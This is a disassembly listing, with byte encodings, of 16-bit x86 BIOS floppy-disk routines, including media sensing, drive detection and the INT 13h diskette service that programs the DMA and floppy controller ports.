push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push dx ; 52
push si ; 56
mov bx, ax ; 89 c3
call 02f96h ; e8 e2 fe
mov AL, strict byte 007h ; b0 07
mov dx, 003f5h ; ba f5 03
out DX, AL ; ee
mov al, bl ; 88 d8
out DX, AL ; ee
call 02efch ; e8 3c fe
test bx, bx ; 85 db
je short 030cbh ; 74 07
or AL, strict byte 002h ; 0c 02
mov bx, 00095h ; bb 95 00
jmp short 030d0h ; eb 05
or AL, strict byte 001h ; 0c 01
mov bx, 00094h ; bb 94 00
mov si, strict word 0003eh ; be 3e 00
mov dx, strict word 00040h ; ba 40 00
mov es, dx ; 8e c2
mov byte [es:si], al ; 26 88 04
mov byte [es:bx], 000h ; 26 c6 07 00
mov ax, strict word 00001h ; b8 01 00
lea sp, [bp-006h] ; 8d 66 fa
pop si ; 5e
pop dx ; 5a
pop bx ; 5b
pop bp ; 5d
retn ; c3
floppy_media_sense_: ; 0xf30ea LB 0xe7
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push si ; 56
push di ; 57
mov si, ax ; 89 c6
call 030a9h ; e8 b2 ff
test ax, ax ; 85 c0
jne short 03100h ; 75 05
xor dx, dx ; 31 d2
jmp near 031c5h ; e9 c5 00
mov ax, strict word 00010h ; b8 10 00
call 016aeh ; e8 a8 e5
test si, si ; 85 f6
jne short 03112h ; 75 08
mov CL, strict byte 004h ; b1 04
mov dl, al ; 88 c2
shr dl, CL ; d2 ea
jmp short 03117h ; eb 05
mov dl, al ; 88 c2
and dl, 00fh ; 80 e2 0f
cmp dl, 001h ; 80 fa 01
jne short 03125h ; 75 09
xor dl, dl ; 30 d2
mov DH, strict byte 015h ; b6 15
mov bx, strict word 00001h ; bb 01 00
jmp short 03163h ; eb 3e
cmp dl, 002h ; 80 fa 02
jne short 03130h ; 75 06
xor dl, dl ; 30 d2
mov DH, strict byte 035h ; b6 35
jmp short 03120h ; eb f0
cmp dl, 003h ; 80 fa 03
jne short 0313bh ; 75 06
xor dl, dl ; 30 d2
mov DH, strict byte 017h ; b6 17
jmp short 03120h ; eb e5
cmp dl, 004h ; 80 fa 04
jne short 03146h ; 75 06
xor dl, dl ; 30 d2
mov DH, strict byte 017h ; b6 17
jmp short 03120h ; eb da
cmp dl, 005h ; 80 fa 05
jne short 03151h ; 75 06
mov DL, strict byte 0cch ; b2 cc
mov DH, strict byte 0d7h ; b6 d7
jmp short 03120h ; eb cf
cmp dl, 00eh ; 80 fa 0e
je short 0315bh ; 74 05
cmp dl, 00fh ; 80 fa 0f
jne short 0315dh ; 75 02
jmp short 0314bh ; eb ee
xor dl, dl ; 30 d2
xor dh, dh ; 30 f6
xor bx, bx ; 31 db
mov di, 0008bh ; bf 8b 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:di], dl ; 26 88 15
mov ax, si ; 89 f0
call 03057h ; e8 e4 fe
test ax, ax ; 85 c0
jne short 031a9h ; 75 32
mov al, dl ; 88 d0
and AL, strict byte 0c0h ; 24 c0
cmp AL, strict byte 080h ; 3c 80
je short 031a9h ; 74 2a
mov al, dl ; 88 d0
and AL, strict byte 0c0h ; 24 c0
cmp AL, strict byte 0c0h ; 3c c0
je short 03196h ; 74 0f
mov ah, dl ; 88 d4
and ah, 03fh ; 80 e4 3f
cmp AL, strict byte 040h ; 3c 40
je short 031a2h ; 74 12
test al, al ; 84 c0
je short 0319bh ; 74 07
jmp short 03163h ; eb cd
and dl, 03fh ; 80 e2 3f
jmp short 03163h ; eb c8
mov dl, ah ; 88 e2
or dl, 040h ; 80 ca 40
jmp short 03163h ; eb c1
mov dl, ah ; 88 e2
or dl, 080h ; 80 ca 80
jmp short 03163h ; eb ba
test si, si ; 85 f6
jne short 031b2h ; 75 05
mov si, 00090h ; be 90 00
jmp short 031b5h ; eb 03
mov si, 00091h ; be 91 00
mov di, 0008bh ; bf 8b 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:di], dl ; 26 88 15
mov byte [es:si], dh ; 26 88 34
mov dx, bx ; 89 da
mov ax, dx ; 89 d0
lea sp, [bp-00ah] ; 8d 66 f6
pop di ; 5f
pop si ; 5e
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
floppy_drive_exists_: ; 0xf31d1 LB 0x4e
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
push dx ; 52
mov dx, ax ; 89 c2
mov ax, strict word 00010h ; b8 10 00
call 016aeh ; e8 d0 e4
test dx, dx ; 85 d2
jne short 031e8h ; 75 06
mov CL, strict byte 004h ; b1 04
shr al, CL ; d2 e8
jmp short 031eah ; eb 02
and AL, strict byte 00fh ; 24 0f
test al, al ; 84 c0
je short 031f3h ; 74 05
mov ax, strict word 00001h ; b8 01 00
jmp short 031f5h ; eb 02
xor ah, ah ; 30 e4
lea sp, [bp-004h] ; 8d 66 fc
pop dx ; 5a
pop cx ; 59
pop bp ; 5d
retn ; c3
sbb byte [bx], dl ; 18 17
push SS ; 16
adc ax, 00508h ; 15 08 05
add AL, strict byte 003h ; 04 03
add al, byte [bx+di] ; 02 01
add dh, dh ; 00 f6
cmp bx, word [di+032h] ; 3b 5d 32
fbstp [bp+si] ; df 32
stc ; f9
db 032h, 0f9h
; xor bh, cl ; 32 f9
db 032h, 0f9h
; xor bh, cl ; 32 f9
xor ch, byte [bp+si-071cah] ; 32 aa 36 8e
cmp byte [bx+di-033c7h], cl ; 38 89 39 cc
cmp word [bx+si], ax ; 39 00
cmp dh, byte [si+03ah] ; 3a 74 3a
_int13_diskette_function: ; 0xf321f LB 0x9fd
push bp ; 55
mov bp, sp ; 89 e5
sub sp, strict byte 0000eh ; 83 ec 0e
or byte [bp+01dh], 002h ; 80 4e 1d 02
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
cmp ax, strict word 00018h ; 3d 18 00
jnbe short 03291h ; 77 5c
push CS ; 0e
pop ES ; 07
mov cx, strict word 0000ch ; b9 0c 00
mov di, 031fch ; bf fc 31
repne scasb ; f2 ae
sal cx, 1 ; d1 e1
mov di, cx ; 89 cf
mov di, word [cs:di+03207h] ; 2e 8b bd 07 32
mov cx, word [bp+016h] ; 8b 4e 16
xor ch, ch ; 30 ed
mov dl, byte [bp+00eh] ; 8a 56 0e
mov ax, word [bp+01ch] ; 8b 46 1c
or AL, strict byte 001h ; 0c 01
mov si, cx ; 89 ce
or si, 00100h ; 81 ce 00 01
jmp di ; ff e7
mov bl, byte [bp+00eh] ; 8a 5e 0e
cmp bl, 001h ; 80 fb 01
jbe short 0327fh ; 76 1a
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 001h ; 80 cc 01
mov word [bp+016h], ax ; 89 46 16
mov bx, strict word 00041h ; bb 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:bx], 001h ; 26 c6 07 01
jmp near 03ae1h ; e9 62 08
mov ax, strict word 00010h ; b8 10 00
call 016aeh ; e8 29 e4
test bl, bl ; 84 db
jne short 03294h ; 75 0b
mov CL, strict byte 004h ; b1 04
mov dl, al ; 88 c2
shr dl, CL ; d2 ea
jmp short 03299h ; eb 08
jmp near 03bf6h ; e9 62 09
mov dl, al ; 88 c2
and dl, 00fh ; 80 e2 0f
test dl, dl ; 84 d2
jne short 032b7h ; 75 1a
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 080h ; 80 cc 80
mov word [bp+016h], ax ; 89 46 16
mov bx, strict word 00041h ; bb 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:bx], 080h ; 26 c6 07 80
jmp near 03ae1h ; e9 2a 08
mov si, strict word 0003eh ; be 3e 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:si], 000h ; 26 c6 04 00
xor al, al ; 30 c0
mov byte [bp+017h], al ; 88 46 17
mov si, strict word 00041h ; be 41 00
mov byte [es:si], al ; 26 88 04
and byte [bp+01ch], 0feh ; 80 66 1c fe
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
xor dx, dx ; 31 d2
call 02ed0h ; e8 f5 fb
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
and byte [bp+01ch], 0feh ; 80 66 1c fe
mov bx, 00441h ; bb 41 04
xor ax, ax ; 31 c0
mov es, ax ; 8e c0
mov dl, byte [es:bx] ; 26 8a 17
mov ch, dl ; 88 d5
mov word [bp+016h], cx ; 89 4e 16
test dl, dl ; 84 d2
je short 032dbh ; 74 e5
jmp near 03ae1h ; e9 e8 07
mov bh, byte [bp+016h] ; 8a 7e 16
mov al, byte [bp+015h] ; 8a 46 15
mov byte [bp-004h], al ; 88 46 fc
mov al, byte [bp+014h] ; 8a 46 14
mov byte [bp-002h], al ; 88 46 fe
mov al, byte [bp+013h] ; 8a 46 13
xor ah, ah ; 30 e4
mov byte [bp-006h], al ; 88 46 fa
mov bl, byte [bp+00eh] ; 8a 5e 0e
cmp bl, 001h ; 80 fb 01
jnbe short 03325h ; 77 0d
cmp AL, strict byte 001h ; 3c 01
jnbe short 03325h ; 77 09
test bh, bh ; 84 ff
je short 03325h ; 74 05
cmp bh, 048h ; 80 ff 48
jbe short 0335ch ; 76 37
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 03 e6
mov ax, 00275h ; b8 75 02
push ax ; 50
mov ax, 0028dh ; b8 8d 02
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 37 e6
add sp, strict byte 00006h ; 83 c4 06
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 001h ; 80 cc 01
mov word [bp+016h], ax ; 89 46 16
mov bx, strict word 00041h ; bb 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:bx], 001h ; 26 c6 07 01
jmp near 03406h ; e9 aa 00
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
call 031d1h ; e8 6e fe
test ax, ax ; 85 c0
jne short 03381h ; 75 1a
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 080h ; 80 cc 80
mov word [bp+016h], ax ; 89 46 16
mov bx, strict word 00041h ; bb 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:bx], 080h ; 26 c6 07 80
jmp near 03406h ; e9 85 00
mov cl, bl ; 88 d9
xor ch, ch ; 30 ed
mov ax, cx ; 89 c8
call 0300bh ; e8 81 fc
test ax, ax ; 85 c0
jne short 033b4h ; 75 26
mov ax, cx ; 89 c8
call 030eah ; e8 57 fd
test ax, ax ; 85 c0
jne short 033b4h ; 75 1d
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 00ch ; 80 cc 0c
mov word [bp+016h], ax ; 89 46 16
mov bx, strict word 00041h ; bb 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:bx], 00ch ; 26 c6 07 0c
mov byte [bp+016h], ch ; 88 6e 16
jmp near 03ae1h ; e9 2d 07
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
cmp ax, strict word 00002h ; 3d 02 00
jne short 0340dh ; 75 4f
mov CL, strict byte 00ch ; b1 0c
mov ax, word [bp+006h] ; 8b 46 06
shr ax, CL ; d3 e8
mov ch, al ; 88 c5
mov CL, strict byte 004h ; b1 04
mov dx, word [bp+006h] ; 8b 56 06
sal dx, CL ; d3 e2
mov si, word [bp+010h] ; 8b 76 10
add si, dx ; 01 d6
mov word [bp-00ch], si ; 89 76 f4
cmp dx, si ; 39 f2
jbe short 033dch ; 76 02
db 0feh, 0c5h
; inc ch ; fe c5
mov al, bh ; 88 f8
xor ah, ah ; 30 e4
mov CL, strict byte 009h ; b1 09
sal ax, CL ; d3 e0
dec ax ; 48
mov word [bp-00eh], ax ; 89 46 f2
mov ax, word [bp-00ch] ; 8b 46 f4
add ax, word [bp-00eh] ; 03 46 f2
cmp ax, word [bp-00ch] ; 3b 46 f4
jnc short 03410h ; 73 1d
mov ax, word [bp+016h] ; 8b 46 16
mov ah, cl ; 88 cc
mov word [bp+016h], ax ; 89 46 16
mov bx, strict word 00041h ; bb 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:bx], cl ; 26 88 0f
mov byte [bp+016h], 000h ; c6 46 16 00
jmp near 03ae1h ; e9 d4 06
jmp near 0355ah ; e9 4a 01
mov AL, strict byte 006h ; b0 06
mov dx, strict word 0000ah ; ba 0a 00
out DX, AL ; ee
xor al, al ; 30 c0
mov dx, strict word 0000ch ; ba 0c 00
out DX, AL ; ee
mov al, byte [bp-00ch] ; 8a 46 f4
mov dx, strict word 00004h ; ba 04 00
out DX, AL ; ee
mov al, byte [bp-00bh] ; 8a 46 f5
out DX, AL ; ee
xor al, al ; 30 c0
mov dx, strict word 0000ch ; ba 0c 00
out DX, AL ; ee
mov al, byte [bp-00eh] ; 8a 46 f2
mov dx, strict word 00005h ; ba 05 00
out DX, AL ; ee
mov al, byte [bp-00dh] ; 8a 46 f3
out DX, AL ; ee
mov AL, strict byte 046h ; b0 46
mov dx, strict word 0000bh ; ba 0b 00
out DX, AL ; ee
mov al, ch ; 88 e8
mov dx, 00081h ; ba 81 00
out DX, AL ; ee
mov AL, strict byte 002h ; b0 02
mov dx, strict word 0000ah ; ba 0a 00
out DX, AL ; ee
mov cl, bl ; 88 d9
xor ch, ch ; 30 ed
mov ax, cx ; 89 c8
call 02f96h ; e8 43 fb
mov AL, strict byte 0e6h ; b0 e6
mov dx, 003f5h ; ba f5 03
out DX, AL ; ee
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
sal dx, 1 ; d1 e2
sal dx, 1 ; d1 e2
mov al, bl ; 88 d8
or ax, dx ; 09 d0
mov dx, 003f5h ; ba f5 03
out DX, AL ; ee
mov al, byte [bp-004h] ; 8a 46 fc
out DX, AL ; ee
mov al, byte [bp-006h] ; 8a 46 fa
out DX, AL ; ee
mov al, byte [bp-002h] ; 8a 46 fe
out DX, AL ; ee
mov AL, strict byte 002h ; b0 02
out DX, AL ; ee
mov al, byte [bp-002h] ; 8a 46 fe
xor ah, ah ; 30 e4
mov dl, bh ; 88 fa
xor dh, dh ; 30 f6
add ax, dx ; 01 d0
dec ax ; 48
mov dx, 003f5h ; ba f5 03
out DX, AL ; ee
xor al, al ; 30 c0
out DX, AL ; ee
mov AL, strict byte 0ffh ; b0 ff
out DX, AL ; ee
call 02f1fh ; e8 8b fa
test al, al ; 84 c0
jne short 034b7h ; 75 1f
mov ax, cx ; 89 c8
call 02f57h ; e8 ba fa
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 080h ; 80 cc 80
mov word [bp+016h], ax ; 89 46 16
mov bx, strict word 00041h ; bb 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:bx], 080h ; 26 c6 07 80
jmp near 033aeh ; e9 f7 fe
mov dx, 003f4h ; ba f4 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and AL, strict byte 0c0h ; 24 c0
cmp AL, strict byte 0c0h ; 3c c0
je short 034d5h ; 74 12
mov ax, 00275h ; b8 75 02
push ax ; 50
mov ax, 002a8h ; b8 a8 02
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 a4 e4
add sp, strict byte 00006h ; 83 c4 06
xor cx, cx ; 31 c9
jmp short 034deh ; eb 05
cmp cx, strict byte 00007h ; 83 f9 07
jnl short 034f4h ; 7d 16
mov dx, 003f5h ; ba f5 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov si, cx ; 89 ce
add si, strict byte 00042h ; 83 c6 42
mov dx, strict word 00040h ; ba 40 00
mov es, dx ; 8e c2
mov byte [es:si], al ; 26 88 04
inc cx ; 41
jmp short 034d9h ; eb e5
mov si, strict word 00042h ; be 42 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov al, byte [es:si] ; 26 8a 04
test AL, strict byte 0c0h ; a8 c0
je short 03524h ; 74 21
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
call 02f57h ; e8 4d fa
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 020h ; 80 cc 20
mov word [bp+016h], ax ; 89 46 16
mov bx, strict word 00041h ; bb 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:bx], 020h ; 26 c6 07 20
jmp near 03406h ; e9 e2 fe
mov al, bh ; 88 f8
xor ah, ah ; 30 e4
mov CL, strict byte 009h ; b1 09
sal ax, CL ; d3 e0
cwd ; 99
db 02bh, 0c2h
; sub ax, dx ; 2b c2
sar ax, 1 ; d1 f8
mov si, word [bp+010h] ; 8b 76 10
mov dx, word [bp+006h] ; 8b 56 06
mov di, si ; 89 f7
mov cx, ax ; 89 c1
mov es, dx ; 8e c2
push DS ; 1e
mov ds, dx ; 8e da
rep movsw ; f3 a5
pop DS ; 1f
mov dl, byte [bp-004h] ; 8a 56 fc
xor dh, dh ; 30 f6
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
call 02ed0h ; e8 81 f9
mov byte [bp+017h], 000h ; c6 46 17 00
and byte [bp+01ch], 0feh ; 80 66 1c fe
jmp near 032dbh ; e9 81 fd
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
cmp ax, strict word 00003h ; 3d 03 00
je short 03567h ; 74 03
jmp near 03693h ; e9 2c 01
mov CL, strict byte 00ch ; b1 0c
mov dx, word [bp+006h] ; 8b 56 06
shr dx, CL ; d3 ea
mov ch, dl ; 88 d5
mov CL, strict byte 004h ; b1 04
mov ax, word [bp+006h] ; 8b 46 06
sal ax, CL ; d3 e0
mov si, word [bp+010h] ; 8b 76 10
add si, ax ; 01 c6
mov word [bp-00ch], si ; 89 76 f4
cmp ax, si ; 39 f0
jbe short 03585h ; 76 02
db 0feh, 0c5h
; inc ch ; fe c5
mov al, bh ; 88 f8
xor ah, ah ; 30 e4
mov CL, strict byte 009h ; b1 09
sal ax, CL ; d3 e0
dec ax ; 48
mov word [bp-00eh], ax ; 89 46 f2
mov ax, word [bp-00ch] ; 8b 46 f4
add ax, word [bp-00eh] ; 03 46 f2
cmp ax, word [bp-00ch] ; 3b 46 f4
jnc short 0359fh ; 73 03
jmp near 033f3h ; e9 54 fe
mov AL, strict byte 006h ; b0 06
mov dx, strict word 0000ah ; ba 0a 00
out DX, AL ; ee
xor al, al ; 30 c0
mov dx, strict word 0000ch ; ba 0c 00
out DX, AL ; ee
mov al, byte [bp-00ch] ; 8a 46 f4
mov dx, strict word 00004h ; ba 04 00
out DX, AL ; ee
mov al, byte [bp-00bh] ; 8a 46 f5
out DX, AL ; ee
xor al, al ; 30 c0
mov dx, strict word 0000ch ; ba 0c 00
out DX, AL ; ee
mov al, byte [bp-00eh] ; 8a 46 f2
mov dx, strict word 00005h ; ba 05 00
out DX, AL ; ee
mov al, byte [bp-00dh] ; 8a 46 f3
out DX, AL ; ee
mov AL, strict byte 04ah ; b0 4a
mov dx, strict word 0000bh ; ba 0b 00
out DX, AL ; ee
mov al, ch ; 88 e8
mov dx, 00081h ; ba 81 00
out DX, AL ; ee
mov AL, strict byte 002h ; b0 02
mov dx, strict word 0000ah ; ba 0a 00
out DX, AL ; ee
mov cl, bl ; 88 d9
xor ch, ch ; 30 ed
mov ax, cx ; 89 c8
call 02f96h ; e8 b4 f9
mov AL, strict byte 0c5h ; b0 c5
mov dx, 003f5h ; ba f5 03
out DX, AL ; ee
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
sal dx, 1 ; d1 e2
sal dx, 1 ; d1 e2
mov al, bl ; 88 d8
or ax, dx ; 09 d0
mov dx, 003f5h ; ba f5 03
out DX, AL ; ee
mov al, byte [bp-004h] ; 8a 46 fc
out DX, AL ; ee
mov al, byte [bp-006h] ; 8a 46 fa
out DX, AL ; ee
mov al, byte [bp-002h] ; 8a 46 fe
out DX, AL ; ee
mov AL, strict byte 002h ; b0 02
out DX, AL ; ee
mov dl, byte [bp-002h] ; 8a 56 fe
xor dh, dh ; 30 f6
mov al, bh ; 88 f8
xor ah, ah ; 30 e4
add ax, dx ; 01 d0
dec ax ; 48
mov dx, 003f5h ; ba f5 03
out DX, AL ; ee
xor al, al ; 30 c0
out DX, AL ; ee
mov AL, strict byte 0ffh ; b0 ff
out DX, AL ; ee
call 02f1fh ; e8 fc f8
test al, al ; 84 c0
jne short 0362ah ; 75 03
jmp near 03498h ; e9 6e fe
mov dx, 003f4h ; ba f4 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and AL, strict byte 0c0h ; 24 c0
cmp AL, strict byte 0c0h ; 3c c0
je short 03648h ; 74 12
mov ax, 00275h ; b8 75 02
push ax ; 50
mov ax, 002a8h ; b8 a8 02
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 31 e3
add sp, strict byte 00006h ; 83 c4 06
xor cx, cx ; 31 c9
jmp short 03651h ; eb 05
cmp cx, strict byte 00007h ; 83 f9 07
jnl short 03667h ; 7d 16
mov dx, 003f5h ; ba f5 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov si, cx ; 89 ce
add si, strict byte 00042h ; 83 c6 42
mov dx, strict word 00040h ; ba 40 00
mov es, dx ; 8e c2
mov byte [es:si], al ; 26 88 04
inc cx ; 41
jmp short 0364ch ; eb e5
mov si, strict word 00042h ; be 42 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov al, byte [es:si] ; 26 8a 04
test AL, strict byte 0c0h ; a8 c0
jne short 03679h ; 75 03
jmp near 03543h ; e9 ca fe
mov bx, strict word 00043h ; bb 43 00
mov al, byte [es:bx] ; 26 8a 07
test AL, strict byte 002h ; a8 02
je short 0368bh ; 74 08
mov word [bp+016h], 00300h ; c7 46 16 00 03
jmp near 03ae1h ; e9 56 04
mov word [bp+016h], 00100h ; c7 46 16 00 01
jmp near 03ae1h ; e9 4e 04
mov dl, byte [bp-004h] ; 8a 56 fc
xor dh, dh ; 30 f6
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
call 02ed0h ; e8 31 f8
and byte [bp+01ch], 0feh ; 80 66 1c fe
mov byte [bp+017h], 000h ; c6 46 17 00
jmp near 032dbh ; e9 31 fc
mov bh, byte [bp+016h] ; 8a 7e 16
mov dl, byte [bp+015h] ; 8a 56 15
xor dh, dh ; 30 f6
mov byte [bp-004h], dl ; 88 56 fc
mov al, byte [bp+013h] ; 8a 46 13
xor ah, ah ; 30 e4
mov byte [bp-006h], al ; 88 46 fa
mov bl, byte [bp+00eh] ; 8a 5e 0e
cmp bl, 001h ; 80 fb 01
jnbe short 036d7h ; 77 12
cmp AL, strict byte 001h ; 3c 01
jnbe short 036d7h ; 77 0e
cmp dl, 04fh ; 80 fa 4f
jnbe short 036d7h ; 77 09
test bh, bh ; 84 ff
je short 036d7h ; 74 05
cmp bh, 012h ; 80 ff 12
jbe short 036f2h ; 76 1b
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 001h ; 80 cc 01
mov word [bp+016h], ax ; 89 46 16
mov si, strict word 00041h ; be 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:si], 001h ; 26 c6 04 01
or byte [bp+01ch], 001h ; 80 4e 1c 01
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
call 031d1h ; e8 d8 fa
test ax, ax ; 85 c0
jne short 03717h ; 75 1a
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 080h ; 80 cc 80
mov word [bp+016h], ax ; 89 46 16
mov bx, strict word 00041h ; bb 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:bx], 080h ; 26 c6 07 80
jmp near 03ae1h ; e9 ca 03
mov cl, bl ; 88 d9
xor ch, ch ; 30 ed
mov ax, cx ; 89 c8
call 0300bh ; e8 eb f8
test ax, ax ; 85 c0
jne short 03730h ; 75 0c
mov ax, cx ; 89 c8
call 030eah ; e8 c1 f9
test ax, ax ; 85 c0
jne short 03730h ; 75 03
jmp near 03397h ; e9 67 fc
mov CL, strict byte 00ch ; b1 0c
mov ax, word [bp+006h] ; 8b 46 06
shr ax, CL ; d3 e8
mov ch, al ; 88 c5
mov CL, strict byte 004h ; b1 04
mov dx, word [bp+006h] ; 8b 56 06
sal dx, CL ; d3 e2
mov si, word [bp+010h] ; 8b 76 10
add si, dx ; 01 d6
mov word [bp-00ch], si ; 89 76 f4
cmp dx, si ; 39 f2
jbe short 0374eh ; 76 02
db 0feh, 0c5h
; inc ch ; fe c5
mov al, bh ; 88 f8
xor ah, ah ; 30 e4
sal ax, 1 ; d1 e0
sal ax, 1 ; d1 e0
dec ax ; 48
mov word [bp-00eh], ax ; 89 46 f2
mov ax, word [bp-00ch] ; 8b 46 f4
add ax, word [bp-00eh] ; 03 46 f2
cmp ax, word [bp-00ch] ; 3b 46 f4
jnc short 0377fh ; 73 1a
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 009h ; 80 cc 09
mov word [bp+016h], ax ; 89 46 16
mov bx, strict word 00041h ; bb 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:bx], 009h ; 26 c6 07 09
jmp near 03406h ; e9 87 fc
mov AL, strict byte 006h ; b0 06
mov dx, strict word 0000ah ; ba 0a 00
out DX, AL ; ee
xor al, al ; 30 c0
mov dx, strict word 0000ch ; ba 0c 00
out DX, AL ; ee
mov al, byte [bp-00ch] ; 8a 46 f4
mov dx, strict word 00004h ; ba 04 00
out DX, AL ; ee
mov al, byte [bp-00bh] ; 8a 46 f5
out DX, AL ; ee
xor al, al ; 30 c0
mov dx, strict word 0000ch ; ba 0c 00
out DX, AL ; ee
mov al, byte [bp-00eh] ; 8a 46 f2
mov dx, strict word 00005h ; ba 05 00
out DX, AL ; ee
mov al, byte [bp-00dh] ; 8a 46 f3
out DX, AL ; ee
mov AL, strict byte 04ah ; b0 4a
mov dx, strict word 0000bh ; ba 0b 00
out DX, AL ; ee
mov al, ch ; 88 e8
mov dx, 00081h ; ba 81 00
out DX, AL ; ee
mov AL, strict byte 002h ; b0 02
mov dx, strict word 0000ah ; ba 0a 00
out DX, AL ; ee
mov cl, bl ; 88 d9
xor ch, ch ; 30 ed
mov ax, cx ; 89 c8
call 02f96h ; e8 d4 f7
mov AL, strict byte 00fh ; b0 0f
mov dx, 003f5h ; ba f5 03
out DX, AL ; ee
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
sal dx, 1 ; d1 e2
sal dx, 1 ; d1 e2
mov al, bl ; 88 d8
or dx, ax ; 09 c2
mov word [bp-008h], dx ; 89 56 f8
mov al, byte [bp-008h] ; 8a 46 f8
mov dx, 003f5h ; ba f5 03
out DX, AL ; ee
mov al, byte [bp-004h] ; 8a 46 fc
out DX, AL ; ee
mov AL, strict byte 04dh ; b0 4d
out DX, AL ; ee
mov al, byte [bp-008h] ; 8a 46 f8
out DX, AL ; ee
mov AL, strict byte 002h ; b0 02
out DX, AL ; ee
mov al, bh ; 88 f8
out DX, AL ; ee
xor al, bh ; 30 f8
out DX, AL ; ee
mov AL, strict byte 0f6h ; b0 f6
out DX, AL ; ee
call 02f1fh ; e8 24 f7
test al, al ; 84 c0
jne short 03807h ; 75 08
mov ax, cx ; 89 c8
call 02f57h ; e8 53 f7
jmp near 036fdh ; e9 f6 fe
mov dx, 003f4h ; ba f4 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and AL, strict byte 0c0h ; 24 c0
cmp AL, strict byte 0c0h ; 3c c0
je short 03825h ; 74 12
mov ax, 00275h ; b8 75 02
push ax ; 50
mov ax, 002a8h ; b8 a8 02
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 54 e1
add sp, strict byte 00006h ; 83 c4 06
xor cx, cx ; 31 c9
jmp short 0382eh ; eb 05
cmp cx, strict byte 00007h ; 83 f9 07
jnl short 03844h ; 7d 16
mov dx, 003f5h ; ba f5 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov si, cx ; 89 ce
add si, strict byte 00042h ; 83 c6 42
mov dx, strict word 00040h ; ba 40 00
mov es, dx ; 8e c2
mov byte [es:si], al ; 26 88 04
inc cx ; 41
jmp short 03829h ; eb e5
mov si, strict word 00042h ; be 42 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov al, byte [es:si] ; 26 8a 04
test AL, strict byte 0c0h ; a8 c0
je short 03872h ; 74 1f
mov si, strict word 00043h ; be 43 00
mov al, byte [es:si] ; 26 8a 04
test AL, strict byte 002h ; a8 02
je short 03860h ; 74 03
jmp near 03683h ; e9 23 fe
mov ax, 00275h ; b8 75 02
push ax ; 50
mov ax, 002bch ; b8 bc 02
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 07 e1
add sp, strict byte 00006h ; 83 c4 06
mov byte [bp+017h], 000h ; c6 46 17 00
